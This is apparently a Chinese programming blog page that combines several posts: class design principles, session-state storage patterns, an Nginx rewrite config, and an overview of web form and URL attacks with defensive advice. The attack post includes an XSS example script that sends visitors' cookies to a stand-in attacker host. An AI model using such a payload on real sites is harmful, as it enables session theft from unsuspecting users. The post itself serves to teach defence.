在现有的很多面向过程开发的代码中，对我这个涉世不深的玩家来说，简直就是灾难，或许很多代码连面向过程都算不上，连函数都没有包装。一个函数可能会超过500行代码，语义不名，名称更不名。我曾经试图改造这些代码，并非技术上不可行，而是实现需要太多的时间，一个不可能完成的任务。

让一个缺乏面向对象的团队掌握面向对象很困难的，也许是我智商低，当年我花了两个月才能意会什么是对象，什么是面向对象编程，到现在也不会言传。

如果不能转向到面向对象，那么我们先转成类吧，或许技术上更能解决一点。类的最基本功能就是封装，如果我们撇去面向对象的东西，那么类就是把具有相似性的东西做一个集合，外部在使用这些功能的时候不需要知道具体实现，只要给类中的方法确需要的参数值，如果非要理解成一堆具有相似属性函数的集合，那也是可以的，毕竟这个比一个文件中的几千行代码，连个function都没有的代码好得多。

如果我们想得到更好的类，需要遵循一些基本的原则， 其中之一就是类应该短小，短小并不是说不完整，这和很多人学C的时候，老师告诉我们，函数要尽可能短小一样，到底多短小的类算是合适呢？我觉得根本无法用代码行数来描述，这取决于这个类所完成的功能，比如你要封装一个操作文章的类，那么至少需要，增删改查四个函数，也许还有基于这四个函数的别名和封装，以及必要的公共属性。

第二个重要原则就是单一权责（SRP），这个原则要做到非常 不容易，因为比第一条更难衡量，一般认为，衡量单一权责的标准是：类或者模块应该有且只有一条加以修改的理由。SRP实际上能给出控制类长度的指导方针。简单的理解就是一个类只有一个功能，假如你修改博客标题或者设置的时候，都要改动文章类，显然违背了单一权责的原则。

第三个原则–内聚。类应该只有少量实体变量。类中的每个方法都应该操作一个或者多个这种变量。通常而言，方法操作的变量越多，就越内聚到类上，如果一个类中的米一个变量都被每个方法所使用，则该类具有最大的内聚性。通常，创建一个这样极大化的内聚类是非常不容易的，也是不可取的，因为类的内聚性过高也就意味着类中的方法和变量相互依赖，互相结合成一个逻辑的整体，当修改类中的变量或者方法时，可能影响或者需要修改其他的方法或者属性。一般认为，类的内聚应该保持在较高的位置，但不是最高的位置，这样有利于降低维护成本。

前面提到在我目前的项目中，我碰到很多超过500行代码的函数，假如把数字降低到300，那么符合标准的函数将会增加十倍以上，在一个面向对象的团队中，一个单纯函数或者方法超过100行几乎都是不可接受的，因为这意味着这个函数可能包含过多的权责。其实我们如果真的遵循类的内聚和单一权责的原则，就会导致很多短小的类的产生。

一般程序员在拆解过大的函数的时候实际上就是将原来的代码复制出来，放到新建的函数中去，然后把需要的参数传递过去，实际上导致超大函数的产生的动机常常是因为有很多变量在这个函数的中被使用到，看似这个函数似乎是一个整体，因为拆分会导致新建的函数参数很多。为啥他们不想用一下类呢，假如拆解函数导致需要传递很多的参数，那么这个函数其实就是一个类，需要传递的函数需要提升为实体变量，这样就可以将函数拆成很小的小块，这样看起来似乎丧失了内聚性，因为堆积了越来越多的只为允许少量函数共享而存在的实体变量。如果这些函数想要公司向某些变量，为什么不让它拥有自己的类呢？当类丧失了内聚性，就应该拆了它。所以，将大的函数拆分为小函数，旺旺也是将类拆分为多个小类的时机，程序会更加有组织，更为透明的结构。

实际上很多时候，当你完成所有的功能的时候，产品经理会跑过来跟你说，我们不能把这个功能改成这样，这样用户体验更好，很可能你需要改动很多的代码很逻辑，甚至数据结构，所以如果我们能在设计的类的时候，注意一下可能的需求改动，我们可以借助接口或者抽象类来隔离修改细节对原来代码产生的破坏性更改。

相关文章

• 2009年11月16日 — 会话状态模式
• 2010年08月18日 — 代码调优法则–编程珠玑笔记
• 2010年01月18日 — 程序语言评估标准
• 2010年01月13日 — 软件构建中的理想设计特征
• 2009年12月14日 — 找人，招人~~

相关文章

• 2009年07月15日 — 表单及URL攻击的几种方法
• 2008年09月2日 — Top 10 Concepts That Every Software Engineer Should Know
• 2010年08月18日 — 代码调优法则–编程珠玑笔记
• 2010年08月8日 — UDP hole punching 翻译
• 2010年04月18日 — 类设计

通常将会话保存在客户端是为了获得服务端的高度无状态特性，即服务端可以做到完全的无状态。Java中通常使用传输对象来进行数据传输，因为传输对象可以在网上进行序列化，即使是很复杂的数据也可以进行传输。当然序列化是有风险和代价的，不是所有的序列化数据都能够被反序列化回来，虽然出现反序列化回来的出错的概率很小。

如果使用HTML的话，选择相对多一点，URL参数，隐藏表单域和Cookie，URL对于较小数据量还是比较容易使用的，现代浏览放开了对URL长度的限制，但我们不得不考虑一些古董用户的需求，毕竟IE6及以下版本的浏览器还主导着WEB世界，而且URL过长，也不符合REST原则，更不美观。

隐藏表单域适合于POST方式的请求，POST方式可以避免因浏览器限制URL长度而导致的被截断的问题。隐藏表单域在我曾经的代码中经常使用，主要是为了跟踪和referer的referer，也就是跳转到一个页面之前的原来页面。

Cookie方式是最优争议的一种方式，PHPWind采用了这一种方法，从开发者口中得知，是为了减少服务器的负载，因为服务器不用维护session状态。通过把数据序列化或者加密后以文本方式放到Cookie中，我没有测试过，PHPWind这样做是不是真的能降低服务器的负载，根据我以前的测试，session维护成本对于服务器的影响是微乎其微的，还不如优化一条SQL来得更痛快，更有效，而且放在Cookie中会导致用户请求的流量变大，在很多上下带宽不对称的机房中，这是个严重的问题，比如blogbus之前存放在上海的**机房就是这样。而且为了获得Cookie中的数据还需要进行一些列运算，未必比维护session的成本小，而且会导致严重的安全问题。只要算法是可逆的，就一定能被人破解，何况我等庸人搞的算法。

服务器会话状态最简单的一种就是把会话数据放到应用服务器的内存中，可以将会话数据以会话标识号作为键标识放到内存映射表中，现在很多工具可以做到，比如memcache等key-value 的内存存储工具。

另一种是持久化，持久化也可以分为两种，一种以二进制序列化形式存放，但这样做的缺点是不容易阅读，更新起来成本有点高，如果每个会话都一个文件的话，在高并发的时候还得解决文件系统的巨量小文件查找效率问题。还有一种就是持久化到数据库，这个存放会话的模式，可能会因为维护会话状态而带来巨大的数据库开销问题，而且为了及时清除过期的会话，往往配合触发器来进行。

总结起来每种会话管理都有天生的缺陷，如果能多种结合能够提升一些效率，比如内存缓存配合持久化数据库，就是眼下很多高负载网站正在使用的模式，也许还有其他的更多的模式和方法有待探寻~~

相关文章

• 2010年04月18日 — 类设计
• 2010年01月13日 — 软件构建中的理想设计特征
• 2010年08月18日 — 代码调优法则–编程珠玑笔记
• 2010年01月18日 — 程序语言评估标准
• 2009年10月31日 — 数据源架构模式笔记(一)

if (-d $request_filename){
rewrite ^/(.*)([^/])$ $1$2/ permanent;
}
if (-f $request_filename/index.html){
rewrite (.*) $1/index.html break;
}
if (-f $request_filename/index.php){
rewrite (.*) $1/index.php;
}
if (!-f $request_filename){
rewrite (.*) /index.php;
}

第一条在很多Nginx主机上是默认就可以进行301 move的，意思是：如果请求的是目录，那么将请求rewrite到这个目录里面，不加这一条可能会导致二级或者三级目录无法访问，比如请求地址是http://www.abc.com/abc, abc是一个目录，abc中有一个index.html页面，还有一个名为style的目录，index.html 引用style中的css,js等文件，并且引用方式为相对地址，类似这样的结构：<script type=“text/javascript” src=”style/lib/jquery.js“></script>，那么除index.html能被请求到之外，index.html中引用的所有文件的请求，都将是404

后面三条网上到处都是，如果你不是跟我一样，在Web根目录下放一些jquery，mysql之类的手册，后面三条就足够使用。包括你使用伪静态化

相关文章

• 2010年04月18日 — 类设计
• 2010年01月18日 — 程序语言评估标准
• 2009年11月16日 — 会话状态模式
• 2009年07月15日 — 表单及URL攻击的几种方法
• 2008年12月21日 — 学习一下ASP

1)表单数据泄漏攻击

这个一般刚入行的人可能会犯错，说得通俗一点，就是该用POST方式提交数据的时候，用了GET方式提交数据，比如，用户登录时候用了GET方法，导致用户名和密码都在URL上直接显示出来了，当然假如真的傻到这种程度，这种应用大多还是属于自己玩玩的东西，不是产品。还有一种是登录等操作，在提交数据的时候被窃听或者拦截了，这种没有很好的方式去解决，最多就是利用可以在浏览器上执行的脚本，比如JavaScript对密码和用户加密后提交到服务器，而且最好采用不可逆的公共算法，在浏览器端执行的脚本如果使用自己的算法，会增加被破解的几率，当然如果你的加密程度能超过或者接近现在流行的公共加密算法，那么也是可以的:)

2)语义URL攻击

这也是利用提交的形式及参数进行攻击的，假如使用GET方式找回密码，url为：http://example.org/private.php?user=abc&email=abc@11.org，那么产生的攻击也很简单，只要将user=abc改成任意其他的存在的用户密码就会发到后面的email中，轻松获取别人密码，POST方式大体也是通过窃听方式获得提交的数据

3）文件上传攻击

文件上传造成的危害在表单攻击中是最大的，假如成功入侵，最坏的情况甚至是可以干任何想干的事情，因此对此不可小觑。常见的有大文件攻击，假如你的服务端没有做限制的话，那么你的硬盘很快就会被塞满，或者是你在客户端中只是简单的限制了一下，那些对于心怀不轨者都是摆设，太容易绕开了。假如上传的是一个可执行的脚本，在某种情况下会激活这个脚本，那么后果就不堪设想，验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者，但根本还是让存放用户上传的文件的目录没有执行权限，脚本不能执行，那么它也仅仅是一般文本而已。

4）跨站脚本攻击

跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰，PHP应用也不例外。

所有有输入的应用都面临着风险。Webmail，论坛，留言本，甚至是Blog。事实上，大多数Web应用提供输入是出于更吸引人气的目的，但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义，跨站脚本漏洞就产生了。

比如在一个博客平台提供商，一个心怀不轨的用户在写博客时故意在内容中插入<script> document.location = ’http://abc.example.org/steal.php?cookies=’ + document.cookie</script>，结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。

5）HTTP请求欺骗攻击

所谓上有政策下有对策，很多项目为了最大程度的得到高可信度的用户输入，甚至添加了判断referer的功能，可惜这个东西十分的不靠谱，随便一个CURL就可以欺骗过去。

毕竟所有的传输都只是个协议而已，而HTTP协议本身只是负责传输，并不负责诸如安全之类的其他问题，所以过程怎么伪造都是可以的，只要攻击者足够的熟悉HTTP协议，针对HTTP协议本身的攻击，似乎目前还没有看到，虽然欺骗、攻击随处可见，方式变化多样，只要做好了过滤，多想一点再多想一点，任何攻击得到的都是一个错误页面而已

相关文章

• 2010年01月18日 — 程序语言评估标准
• 2009年06月7日 — PHP是可扩展的语言
• 2009年01月1日 — When you get troubles
• 2008年11月9日 — 正则表达式入门之顺序环视（lookahead）
• 2008年10月18日 — PHP实现URL路由